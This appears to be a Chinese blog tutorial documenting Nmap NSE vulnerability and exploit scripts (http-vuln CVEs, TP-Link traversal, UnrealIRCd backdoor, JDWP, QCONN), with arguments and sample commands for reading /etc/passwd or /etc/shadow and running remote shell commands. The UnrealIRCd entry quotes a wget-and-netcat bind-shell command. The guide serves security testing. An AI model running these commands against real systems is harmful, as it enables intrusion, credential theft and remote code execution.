502. http-stored-xss
未过滤的“>”(大于号)。表示存在潜在的 XSS 漏洞。
http-stored-xss.formpaths
包含要利用的表单的页面。例如,{/upload.php、/login.php}。默认值:nil(爬虫模式开启)
http-stored-xss.uploadspaths
反映 POST 数据的页面。例如,{/comments.php、/guestbook.php}。默认值:nil(爬虫模式开启)
http-stored-xss.fieldvalues
脚本将尝试填写表单中找到的每个字段,但由于字段的限制,可能会失败。您可以使用此表手动填写这些字段。例如,{gender = "male", email = "foo@bar.com"}。默认值:{}
http-stored-xss.dbfile
每行包含一个 XSS 向量的纯文本文件的路径。默认值:nil
slaxml.debug
请参阅 slaxml 库的文档。
httpsspider.doscraping、httpspider.maxdepth、httpspider.maxpagecount、httpspider.noblacklist、httpspider.url、httpspider.useheadfornonwebfiles、httpspider.withindomain、httpspider.withinhost
请参阅 httpsspider 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
nmap -p80 --script "http-stored-xss.nse" ip/域名此脚本分为两个阶段。
1) 将特制的字符串发布到它遇到的每个表单。
2) 遍历整个页面以搜索这些字符串。如果某个页面上显示的任何字符串没有经过任何适当的 HTML 转义,则表明存在潜在的 XSS 漏洞。
503. http-tplink-dir-traversal
利用存在于多个 TP-Link 无线路由器中的目录遍历漏洞。攻击者可以利用此漏洞远程读取任何配置和密码文件,而无需身份验证。
此漏洞已在型号 WR740N、WR740ND 和 WR2543ND 中得到确认,但有多个型号使用相同的 HTTP 服务器,因此我相信它们也可能存在漏洞。我非常感谢任何帮助确认其他型号中漏洞的信息。
咨询:
http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
其他有趣的文件:
/tmp/topology.cnf(无线配置)
/tmp/ath0.ap_bss(无线加密密钥)
http-tplink-dir-traversal.rfile
要下载的远程文件。默认值:/etc/passwd
http-tplink-dir-traversal.outfile
如果设置,则会将远程文件保存到此位置。
您可能希望与此脚本一起使用的其他参数:
http.useragent - 设置用户代理
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p80 --script "http-tplink-dir-traversal.nse" ip/域名
nmap -p80 -Pn -n --script "http-tplink-dir-traversal.nse" ip/域名
nmap -p80 --script "http-tplink-dir-traversal.nse" --script-args "rfile=/etc/topology.conf" -d -n -Pn ip/域名
504. http-vuln-cve2006-3392
利用 Webmin 中的文件泄露漏洞 (CVE-2006-3392)
1.290 之前的 Webmin 和 1.220 之前的 Usermin 在解码 HTML 之前调用了简化路径函数。这允许读取任意文件,而无需身份验证,使用“..%01”序列绕过“../”目录遍历序列的删除。
http-vuln-cve2006-3392.file
<FILE>。默认值:/etc/passwd
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-vuln-cve2006-3392" -p10000 ip/域名
nmap -p80 --script "http-vuln-cve2006-3392" --script-args "http-vuln-cve2006-3392.file=/etc/shadow" ip/域名
505. http-vuln-cve2009-3960
漏洞 cve-2009-3960 又称为 Adobe XML 外部实体注入。
此漏洞允许远程读取本地文件,存在于 BlazeDS 3.2 及更早版本、LiveCycle 8.0.1、8.2.1 和 9.0、LiveCycle Data Services 2.5.1、2.6.1 和 3.0、Flex Data Services 2.0.1 以及 ColdFusion 7.0.2、8.0、8.0.1 和 9.0 中
有关更多信息,请参阅:
http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf
https://www.securityfocus.com/bid/38197
Metasploit 模块:auxiliary/scanner/http/adobe_xml_inject
http-vuln-cve2009-3960.root
指向根路径。默认为“/”
http-vuln-cve2009-3960.readfile
要读取的目标文件。默认为“/etc/passwd”
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap --script=http-vuln-cve2009-3960 --script-args 'http-http-vuln-cve2009-3960.root="/root/"' 192.168.174.145
506. http-vuln-cve2012-1823
检测易受 CVE-2012-1823 攻击的 PHP-CGI 安装,此严重漏洞允许攻击者检索源代码并远程执行代码。
该脚本通过将“?-s”附加到 uri 来使易受攻击的 php-cgi 处理程序返回彩色语法突出显示的源。我们使用模式“<span style=.*><?”来检测易受攻击的安装。
http-vuln-cve2012-1823.uri
URI。默认:/index.php
http-vuln-cve2012-1823.cmd
CMD。默认:uname -a
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-vuln-cve2012-1823" ip/域名
nmap -p80 --script "http-vuln-cve2012-1823" --script-args "http-vuln-cve2012-1823.uri=/test.php" ip/域名
507. http-vuln-cve2013-0156
检测易受对象注入、远程命令执行和拒绝服务攻击的 Ruby on Rails 服务器。(CVE-2013-0156)
所有 2.3.15 之前的 Ruby on Rails 版本、3.0.x 之前的 3.0.19、3.1.x 之前的 3.1.10 和 3.2.x 之前的 3.2.11 都存在漏洞。此脚本发送 3 个无害的 YAML 有效负载来检测易受攻击的安装。如果格式错误的对象收到状态 500 响应,则服务器正在处理 YAML 对象,因此很可能存在漏洞。
参考文献:
https://community.rapid7.com/community/metasploit/blog/2013/01/10/exploiting-ruby-on-rails-with-metasploit-cve-2013-0156',
https://groups.google.com/forum/?fromgroups=#!msg/rubyonrails-security/61bkgvnSGTQ/nehwjA8tQ8EJ',
http://cvedetails.com/cve/2013-0156/
http-vuln-cve2013-0156.uri
基本路径 URI(默认值:/)。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-vuln-cve2013-0156" 192.168.174.132
nmap -sV --script "http-vuln-cve2013-0156" --script-args 'uri="/test/"' 192.168.174.145
508. http-vuln-cve2013-6786
检测 Allegro RomPager Web 服务器中的 URL 重定向和反射型 XSS 漏洞。该漏洞已分配 CVE-2013-6786。
检查足够通用(通过 Referer 标头注入脚本标签),其他一些软件可能也存在相同的漏洞。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -p80 --script "http-vuln-cve2013-6786" ip/域名
509. http-vuln-cve2013-7091
rubina119 于 2013 年 12 月 6 日发布了一个 0 日漏洞,并在 Zimbra 7.2.6 中进行了修补。
该漏洞是一个本地文件包含漏洞,可以从服务器检索任何文件。
目前,我们读取 /etc/passwd 和 /dev/null,并比较长度以确定漏洞。
TODO:添加读取压缩文件的可能性。然后,发送一些有效负载来创建新的邮件帐户。
http-vuln-cve2013-7091.uri
URI。默认值:/zimbra
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap -sV --script "http-vuln-cve2013-7091" 192.168.174.145
nmap -p80 --script "http-vuln-cve2013-7091" --script-args "http-vuln-cve2013-7091=/ZimBra" ip/域名
510. http-vuln-cve2014-3704
漏洞 CVE-2014-3704 也被称为 Drupal 中的“Drupageddon”。已知 Drupal 核心版本 < 7.32 会受到影响。
漏洞允许远程攻击者通过包含精心设计的密钥的数组进行 SQL 注入攻击。
该脚本通过登录表单注入新的 Drupal 管理员用户,然后尝试以此用户身份登录以确定目标是否易受攻击。如果是这种情况,则执行以下利用步骤:
启用允许评估嵌入式 PHP 代码/片段的 PHP 筛选模块,
设置管理员用户使用 PHP 代码的权限,
创建并预览包含有效负载的新文章,
清理:默认情况下,脚本添加/修改的所有数据库记录都会恢复。
漏洞最初由 SektionEins 的 Stefan Horst 发现。
用于在目标上实现 RCE 的利用技术基于 exploit/multi/http/drupal_drupageddon Metasploit 模块。
http-vuln-cve2014-3704.uri
网站上的 Drupal 根目录。默认值:/
http-vuln-cve2014-3704.cmd
要执行的 Shell 命令。默认值:nil
http-vuln-cve2014-3704.cleanup
指示是否将执行清理(删除在利用阶段添加/修改的 DB 记录)。默认值:true
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap --script "http-vuln-cve2014-3704" --script-args 'http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal"' ip/域名
nmap --script "http-vuln-cve2014-3704" --script-args 'http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false' ip/域名
511. http-vuln-cve2014-8877
利用 Wordpress CM 下载管理器插件中的远程代码注入漏洞 (CVE-2014-8877)。已知 2.0.0 以下版本会受到影响。
CM 下载管理器插件未正确过滤用户输入,这允许远程攻击者通过 cmdownloads/ 的 CMDsearch 参数执行任意 PHP 代码,该代码由 PHP“create_function”函数处理。
该脚本将 PHP system() 函数注入易受攻击的目标,以执行指定的 shell 命令。
http-vuln-cve2014-8877.cmd
要执行的命令。默认值:nil
http-vuln-cve2014-8877.uri
网站上的 Wordpress 根目录。默认值:/
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "http-vuln-cve2014-8877" --script-args 'http-vuln-cve2014-8877.cmd="whoami",http-vuln-cve2014-8877.uri="/wordpress"' ip/域名
512. http-vuln-cve2017-5689
检测采用英特尔主动管理技术的系统是否容易受到 INTEL-SA-00075 权限提升漏洞 (CVE2017-5689) 的攻击。
此脚本通过尝试使用空白响应参数执行摘要身份验证来确定目标是否容易受到攻击。 如果身份验证成功,则会收到 HTTP 200 响应。
参考文献:
https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
sudo nmap -p 16992 --script "http-vuln-cve2017-5689" ip/域名
513. http-vuln-wnr1000-creds
WNR 1000 系列中发现了一个漏洞,该漏洞允许攻击者通过路由器界面检索管理员凭据。测试固件版本:V1.0.2.60_60.0.86(最新)和 V1.0.2.54_60.0.82NA
漏洞由 c1ph04 发现。
http-vuln-wnr1000-creds.uri
可找到 passwordrecovered.cgi 脚本的 URI 路径。默认值:/
creds.[service], creds.global
请参阅 creds 库的文档。
vulns.short, vulns.showall
请参阅 vulns 库的文档。
slaxml.debug
请参阅 slaxml 库的文档。
smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername
请参阅 smbauth 库的文档。
http.host, http.max-body-size, http.max-cache-size, http.max-pipeline, http.pipeline, http.truncated-ok, http.useragent
请参阅 http 库的文档。
nmap -sV --script "http-vuln-wnr1000-creds" ip/域名 -p80
514. irc-unrealircd-backdoor
通过运行基于时间的命令 (ping) 并检查响应所需的时间,检查 IRC 服务器是否被后门攻击。
irc-unrealircd-backdoor.command 脚本参数可用于在远程系统上运行任意命令。由于此漏洞的性质(输出永远不会返回),我们无法获取命令的输出。但是,它可以用于启动 netcat 监听器,如下所示:
$ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target>
$ ncat -vv localhost 4444
Ncat: Version 5.30BETA1 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:4444.
pwd
/home/ron/downloads/Unreal3.2-bad
whoami
ron
Metasploit 也可用于利用此漏洞。
除了运行任意命令外,还可以传递 irc-unrealircd-backdoor.kill 脚本参数,该参数会直接终止 UnrealIRCd 进程。
参考:
http://seclists.org/fulldisclosure/2010/Jun/277
http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
http://www.metasploit.com/modules/exploit/unix/irc/unreal_ircd_3281_backdoor
irc-unrealircd-backdoor.kill
如果设置为 1 或 true,则终止正在运行的后门 UnrealIRCd。
irc-unrealircd-backdoor.wait
执行检查前的等待时间(以秒为单位)。建议设置此值以获得更可靠的检查(100 是理想值)。
irc-unrealircd-backdoor.command
在远程系统上运行的任意命令(但请注意,您不会看到命令的输出)。即使主机没有漏洞,也会始终尝试执行此操作。模式 %IP% 将替换为目标主机的 IP 地址。
nmap -sV --script=irc-unrealircd-backdoor -p6667 192.168.174.132
515. jdwp-exec
尝试利用 Java 的远程调试端口。当远程调试端口保持打开状态时,可以注入 Java 字节码并实现远程代码执行。此脚本滥用此功能来注入和执行 Java 类文件,该文件执行提供的 shell 命令并返回其输出。
该脚本从 nselib/jdwp-class/ 注入 JDWPSystemInfo 类并执行其 run() 方法,该方法接受 shell 命令作为其参数。
jdwp-exec.cmd
在远程系统上执行的命令。
sudo nmap -sT ip/域名 -p 2010 --script=+jdwp-exec --script-args=cmd="date"
516. jdwp-inject
尝试利用 Java 的远程调试端口。当远程调试端口保持打开状态时,可以注入 Java 字节码并实现远程代码执行。此脚本允许注入任意类文件。
注入后,将执行类的 run() 方法。方法 run() 没有参数,预计会返回一个字符串。
您必须通过文件名参数指定要注入的自己的 .class 文件。有关更多信息,请参阅 nselib/data/jdwp-class/README。
jdwp-inject.filename
要注入的 Java .class 文件。
sudo nmap -sT ip/域名 -p 2010 --script=+jdwp-inject --script-args "filename=HelloWorld.class"
517. qconn-exec
尝试确定正在监听的 QNX QCONN 守护进程是否允许未经身份验证的用户执行任意操作系统命令。
QNX 是一种商业类 Unix 实时操作系统,主要面向嵌入式系统市场。QCONN 守护进程是一个服务提供商,为远程 IDE 组件提供支持,例如分析系统信息。QCONN 守护进程默认在端口 8000 上运行。
有关 QNX QCONN 的更多信息,请参阅:
http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html
http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos
http://www.exploit-db.com/exploits/21520
http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec
qconn-exec.cmd
设置要执行的操作系统命令。默认值为“uname -a”。
qconn-exec.timeout
设置超时时间(以秒为单位)。默认值为 30。
qconn-exec.bytes
设置要检索的字节数。默认值为 1024。
vulns.short、vulns.showall
请参阅 vulns 库的文档。
nmap --script "qconn-exec" --script-args=qconn-exec.timeout=60,qconn-exec.bytes=1024,qconn-exec.cmd="uname -a" -p 8000 ip/域名
smb-vuln-conficker
已演示过。这里不再演示。
smb-vuln-cve2009-3103
已演示过。这里不再演示。
smb-vuln-ms06-025
已演示过。这里不再演示。
smb-vuln-ms07-029
已演示过。这里不再演示。
smb-vuln-ms08-067
已演示过。这里不再演示。
smb-vuln-regsvc-dos
已演示过。这里不再演示。
由于篇幅有限,请看下一章教程!
相关文章:
Nmap全脚本使用指南!NSE脚本全详细教程!Kali Linux教程!(六)
脚本类别 discovery(发现) sip-methods 已演示过。这里不再演示。 436. smb-enum-domains 尝试枚举系统上的域及其策略。这通常需要凭据,但 Windows 2000 除外。除了实际域之外,通常还会显示“内置”域。Windows 在域列表中返…...
了解适配器模式
目录 适配器模式定义 适配器模式角色 适配器模式的实现 适配器的应用场景 适配器模式定义 适配器模式,也叫包装模式。将一个类的接口,转换成客户期望的另一个接口,适配器让原本接口不兼容的类可以合作无间。 简单来说就是目标类不能直接…...
C语言:几种字符串常用的API
字符串的常用操作 C 语言的标准库 <string.h> 提供了很多用于处理字符串的函数。 1. strlen - 计算字符串长度 size_t strlen(const char *str);功能:计算字符串 str 的长度,不包含字符串结束符 \0。 2.strcpy - 复制字符串 char *strcpy(char…...
Django构建安全中间件实用示例
Django安全中间件实用指南 推荐超级课程: 本地离线DeepSeek AI方案部署实战教程【完全版】Docker快速入门到精通Kubernetes入门到大师通关课AWS云服务快速入门实战目录 Django安全中间件实用指南什么是Django中的中间件?Django中的安全中间件特性配置示例配置示例配置示例示…...
排序算法(快速排序,选择排序......)【泪光2929】
hello,大家好!今天给大家分享一下各种排序: 1,选择排序 首先从原始数组中 选择最小的1个数据,将其和位于第1个位置的数据交换。接着从剩下的n-1个数据中选择次小的1个元素,将其和第2个位置的数据交换然后…...
UE5学习记录part14
第17节 enemy behavior 173 making enemies move: AI Pawn Navigation 按P查看体积 So its very important that our nav mesh bounds volume encompasses all of the area that wed like our 因此,我们的导航网格边界体积必须包含我们希望 AI to navigate in and …...
树莓派llama.cpp部署DeepSeek-R1-Distill-Qwen-1.5B
树莓派的性能太低了,我们需要对模型进行量化才能使用,所以现在的方案是,在windows上将模型格式和量化处理好,然后再将模型文件传输到树莓派上。而完成上面的操作就需要部署llama.cpp。 三、环境的准备 这里要求大家准备…...
Llama 4 最新发布模型分析
1. 引言 在2025年4月5日,Meta公司正式发布了最新一代大型语言模型Llama 4系列,包括Llama 4 Scout和Llama 4 Maverick。该模型添加了多模态支持,能够处理文本、图像、音频和视频数据,实现更加充分的AI功能应用。 2. 技术特性 2.1…...
Llama 4 家族:原生多模态 AI 创新的新时代开启
0 要点总结 Meta发布 Llama 4 系列的首批模型,帮用户打造更个性化多模态体验Llama 4 Scout 是有 170 亿激活参数、16 个专家模块的模型,同类中全球最强多模态模型,性能超越以往所有 Llama 系列模型,能在一张 NVIDIA H100 GPU 上运…...
如何让eDrawings html文件在Chrome浏览器上展示——allWebPlugin中间件扩展
应用背景 eDrawing html文件是仅可在 Internet Explorer 5.5 和以上版本中查阅,由于IE浏览器限制,目前使用非常不方便,为了不修改html的请提下,在chrome浏览器查阅原本html文件,可使用安装allWebPlugin中间件扩展。 a…...
【内网安全】DHCP 饿死攻击和防护
正常情况:PC2可以正常获取到DHCP SERVER分别的IP地址查看DHCP SERCER 的ip pool地址池可以看到分配了一个地址、Total 253个 Used 1个 使用kali工具进行模拟攻击 进行DHCP DISCOVER攻击 此时查看DHCP SERVER d大量的抓包:大量的DHCP Discover包 此时模…...
keepalived高可用介绍
keepalived 是 Linux 一个轻量级的高可用解决方案,提供了心跳检测和资源接管、检测集群中的系统服务,在集群节点间转移共享IP 地址的所有者等。 工作原理 keepalived 通过 VRRP(virtual router redundancy protocol)虚拟路由冗余…...
基于大模型的脑梗死全流程诊疗技术方案
目录 《基于大模型的脑梗死全流程诊疗技术方案》一、核心算法实现1. 多模态特征融合算法(术前规划)2. 术中实时预警算法二、系统模块设计1. 术前规划系统流程图2. 术中实时监控系统架构三、技术验证方案1. 模型验证矩阵2. 实验验证设计四、关键技术创新点五、工程实现规范1. …...
ngx_timezone_update
定义在 src\os\unix\ngx_time.c void ngx_timezone_update(void) { #if (NGX_FREEBSD)if (getenv("TZ")) {return;}putenv("TZUTC");tzset();unsetenv("TZ");tzset();#elif (NGX_LINUX)time_t s;struct tm *t;char buf[4];s tim…...
Redis 热key问题怎么解决?
Redis 热 Key 问题分析与解决方案 热 Key(Hot Key)是指被高频访问的某个或多个 Key,导致单个 Redis 节点负载过高,可能引发性能瓶颈甚至服务崩溃。以下是常见原因及解决方案: 1. 热 Key 的常见原因 突发流量:如明星八卦、秒杀商品、热门直播等场景。缓存设计不合理:如全…...
JavaWeb(楠)
JavaWeb21-1:Java Web开发的地位、Tomcat服务器 Java Web开发概述 主流地位:Java可用于移动端、桌面应用、机器学习等多个领域,但在Web开发领域优势显著,是Java最主流的研发方向。市场上95%以上的Web端开发都使用Java,…...
批量将 JSON 转换为 Excel/思维导入等其它格式
json 格式相信对大家来说都不陌生,这是一种轻量级的结构化数据,可以对对象进行描述。json 格式也是一种普通的文本文件格式,用记事本就能够打开编辑 json 格式的文件,可以很方便的转换为其他格式。今天要给大家介绍的就是如何将 j…...
C# Winform 入门(13)之通过WebServer查询天气预报
展示 控件 添加WebServer 右键项目> 添加引用> 添加服务引用 天气预报URL: WeatherWebService Web 服务WeatherWebService Web 服务http://www.webxml.com.cn/WebServices/WeatherWebService.asmx 查询按钮实现 private void btn_Inquiry_Click(object sender, EventA…...
算法思想之滑动窗口(一)
欢迎拜访:雾里看山-CSDN博客 本篇主题:算法思想之滑动窗口(一) 发布时间:2025.4.6 隶属专栏:算法 目录 滑动窗口算法介绍核心思想时间复杂度适用场景注意事项 例题长度最小的子数组题目链接题目描述算法思路代码实现 无重复字符的…...
爬虫工程师无意义的活
30岁的年龄;这个年龄大家都是成年人;都是做父母的年龄了;你再工位上的心态会发生很大变化的; 爬虫工程师基本都是如此;社会最low的一帮连销售都做不了的;单子都开不出来的然后转行做爬虫工程师的;这样的人基本不太和社会接触; 你作为爬虫初级工程师就敲着键盘然后解析着html;…...
DeepSeek 关联公司公布新型数据采集专利 提升数据采集效率与质量
4 月 1 日,国家知识产权局公布了一项由 DeepSeek 关联公司杭州深度求索人工智能基础技术研究有限公司申请的专利,名为 “一种广度数据采集的方法及其系统”,公开号为 CN 119739917 A,申请日期可追溯至 2024 年 12 月。此专利的发布…...
实际犯错以及复盘1
Ds1302 需要两个 一个Set_Rtc 一个Read_Rtc : 本质 read是 85-2i 的 写入是84-2i 然后 写入的时候 是需要对 0x8e 进行 0x00 和0x80进行解开和 锁定的开头结尾。 使用的时候 赋值给ucRtc[i] 然后 主函数使用的时候 需要直接写个(ucRtc) 因为unsigned char* 默认的…...
初探:简道云系统架构及原理
一、系统架构概述 简道云作为一款低代码开发平台,其架构设计以模块化和云端协同为核心,主要分为以下层次: 1. 前端层 可视化界面:基于Web的拖拽式表单设计器,支持动态渲染(React/Vue框架)。多…...
Nginx负载均衡时如何为指定ip配置固定服务器
大家在用Nginx做负载均衡时,一般是采用默认的weight权重指定或默认的平均分配实现后端服务器的路由,还有一种做法是通过ip_hash来自动计算进行后端服务器的路由,但最近遇到一个问题,就是希望大部分用户采用ip_hash自动分配后端服务…...
玩转MCP:用百度热搜采集案例快速上手并接入cline
MCP的大火,让MCP服务器开发也变得热门,上一篇文章: 手搓MCP客户端&服务端:从零到实战极速了解MCP是什么? 手搓了一个极其简单的小场景的MCP实战案例,详细的安装环境及操作步骤已经讲过了,本文不在重复…...
003集——《利用 C# 与 AutoCAD API 开发 WPF 随机圆生成插件》(侧栏菜单+WPF窗体和控件+MVVM)
本案例聚焦于开发一款特色鲜明的 AutoCAD 插件。其核心功能在于,用户在精心设计的 WPF 控件界面中输入期望生成圆的数量,完成输入后,当用户点击 “生成” 按钮,一系列联动操作随即展开。通过数据绑定与命令绑定这一精妙机制&#…...
设计模式简述(十)责任链模式
责任链模式 描述基本使用使用 描述 如果一个请求要经过多个类似或相关处理器的处理。 可以考虑将这些处理器添加到一个链上,让请求逐个经过这些处理器进行处理。 通常,在一个业务场景下会对整个责任链进行初始化,确定这个链上有哪些Handler…...
分组(二分查找)
#include <bits/stdc.h> using namespace std; const int N1e55; int a[N]; int n,k;bool f(int x){int num1;int ma[1];for(int i2;i<n;i){if(a[i]-m>x){ // 当前元素加入当前组会超过极差 xnum; // 新开一组ma[i]; // 新组的最小值设为当前元素}}r…...
vue的主要核心文件介绍
1.package.json 查看依赖包的版本 项目基本信息记录 项目标识:记录项目名称(name 字段)、版本号(version 字段)、描述(description 字段)等基础信息,方便识别和管理项目。例如&…...
从奖励到最优决策:动作价值函数与价值学习
从奖励到最优决策:动作价值函数与价值学习 价值学习动作价值函数对 U t U_t Ut求期望得到动作价值函数动作价值函数的意义最优动作价值函数(Optimal Action-Value Function)如何理解 Q ∗ Q^* Q∗函数 价值学习的基本思想Deep Q-Network(DQN)DQN玩游戏的具体流程如…...
DApp实战篇:先用前端起个项目
前言 本篇将使用vue框架quasar起一个项目,为了防止大家不会使用quasar,本篇详细讲解一下quasar如何使用。 quasar 如果你不想深入了解quasar,其实你完全可以将quasar当成一个vue的组件库即可,它是一个类谷歌Material风格的UI组件库,但同时它又是一个基于vue的强大框架。…...
论文阅读11——V2V-LLM:采用多模式大型语言模型的车对车协同自动驾驶
原文地址: 2502.09980https://arxiv.org/pdf/2502.09980 论文翻译: V2V-LLM: Vehicle-to-Vehicle Cooperative Autonomous Driving with Multi-Modal Large Language Models V2V-LLM:采用多模式大型语言模型的车对车协同自动驾驶 摘要&#…...
NLP 梳理01 — 文本预处理和分词
文章目录 一、说明二、文本预处理概述2.1 为什么要预处理文本?2.2 文本预处理的常见步骤2.3 什么是令牌化?2.4 为什么令牌化很重要? 三、分词类型四、用于分词化的工具和库五、实际实施六、编写函数以对文本进行标记七、结论 一、说明 本文总…...
Windows11 优雅的停止更新、禁止更新
网上有很多关闭自动更新的方法,改注册表、修改组策略编辑器、禁用Windows Update等等,大同小异,但最后奏效的寥寥无几,今天给大家带来另一种关闭win11自动更新的方法,亲测有效! 1、winR 打开运行窗口&…...
Kafka 中的 offset 提交问题
手动提交和自动提交 我们来一次性理清楚:Kafka 中的自动提交 vs 手动提交,到底区别在哪,怎么用,什么场景适合用哪个👇 🧠 一句话总结 ✅ 自动提交:Kafka 每隔一段时间自动提交 offset ✅ 手动…...
PowerBI窗口函数与视觉计算
文章目录 一、 窗口函数1.1 OFFSET(动态查询、求连续值)1.1.1 不使用orderBy1.1.2 使用orderBy1.1.3 统计连续值的最大出现次数(待补) 1.2 INDEX(静态查询)1.3 WINDOW(滚动求和、累计求和、帕累…...
代码随想录算法训练营Day22
回溯知识 力扣77.组合【medium】 一、回溯知识 1、定义 回溯法也可以叫做回溯搜索法,它是一种搜索的方式。回溯是递归的副产品,只要有递归就会有回溯。 2、回溯法的效率 回溯的本质是穷举,穷举所有可能,然后选出我们想要的答案…...
几种常见的HTTP方法之GET和POST
如大家所了解的,每条 HTTP 请求报文都必须包含一个请求方法,这个方法会告诉服务器要执行什么操作(例如获取一个 Web 页面、运行一个网关程序、删除一个文件等)。常见的几种 HTTP 方法如下: GET: 请求指定的…...
Nginx之https重定向为http
为了将Nginx中443端口的请求重定向到80端口,你可以按照以下步骤进行操作: 确认Nginx已经正确安装并运行: 确保Nginx服务已经在你的系统上安装并运行。你可以通过运行以下命令来检查Nginx的状态(具体命令可能因操作系统而异&a…...
落地DevOps文化:运维变革的正确打开方式
落地DevOps文化:运维变革的正确打开方式 DevOps,这个近年来被谈论得沸沸扬扬的概念,是企业数字化转型的一把钥匙。然而,很多公司虽然喊着“要上DevOps”,却苦于如何真正落地。而DevOps不仅仅是技术工具的堆砌,更是一种文化的重塑。从我的经历来看,DevOps实施的核心在于…...
《C++后端开发最全面试题-从入门到Offer》目录
当今科技行业对C++开发者的需求持续高涨,从金融科技到游戏开发,从嵌入式系统到高性能计算,C++凭借其卓越的性能和灵活性始终占据着关键地位。然而,成为一名优秀的C++工程师并非易事,不仅需要扎实的语言基础,还要掌握现代C++特性、设计模式、性能优化技巧以及各种工业级开…...
24统计建模国奖论文写作框架2(机器学习+自然语言处理类)(附原文《高校负面舆情成因与演化路径研究》)
一、引言 研究背景及意义 文献综述 研究内容与创新点 二、高校负面舆情热点现状分析 案例数据的获取与处理 高效负面舆情热点词频分析 高效负面舆情热点变化趋势分析 三、高校负面舆情成因分析 高校负面舆情变量的选取与赋值 基于QCA方法的高校负面舆情成因分析 四、…...
论文阅读笔记——Deformable Radial Kernel Splatting
DRK 论文 DRK(可变形径向核)的核心创新正是通过极坐标参数化与切平面投影,对传统3D高斯泼溅(3D-GS)进行了多维度的优化。 传统 3DGS 依赖径向对称的高斯核,只能表示平滑、各向同性的形状(球体、…...
网络编程—TCP/IP模型(IP协议)
上篇文章: 网络编程—TCP/IP模型(TCP协议)https://blog.csdn.net/sniper_fandc/article/details/147011479?fromshareblogdetail&sharetypeblogdetail&sharerId147011479&sharereferPC&sharesourcesniper_fandc&sharef…...
Android NDK C/C++交叉编译脚本
以下是 Android (arm64-v8a) 交叉编译 C/C 项目的完整脚本模板,基于 NDK 工具链,支持自定义源文件编译为静态库/动态库/可执行文件: 1. 基础交叉编译脚本 (build_android.sh) bash 复制 #!/bin/bash# Android 交叉编译脚本 (arm64-…...
IS-IS-单区域的配置
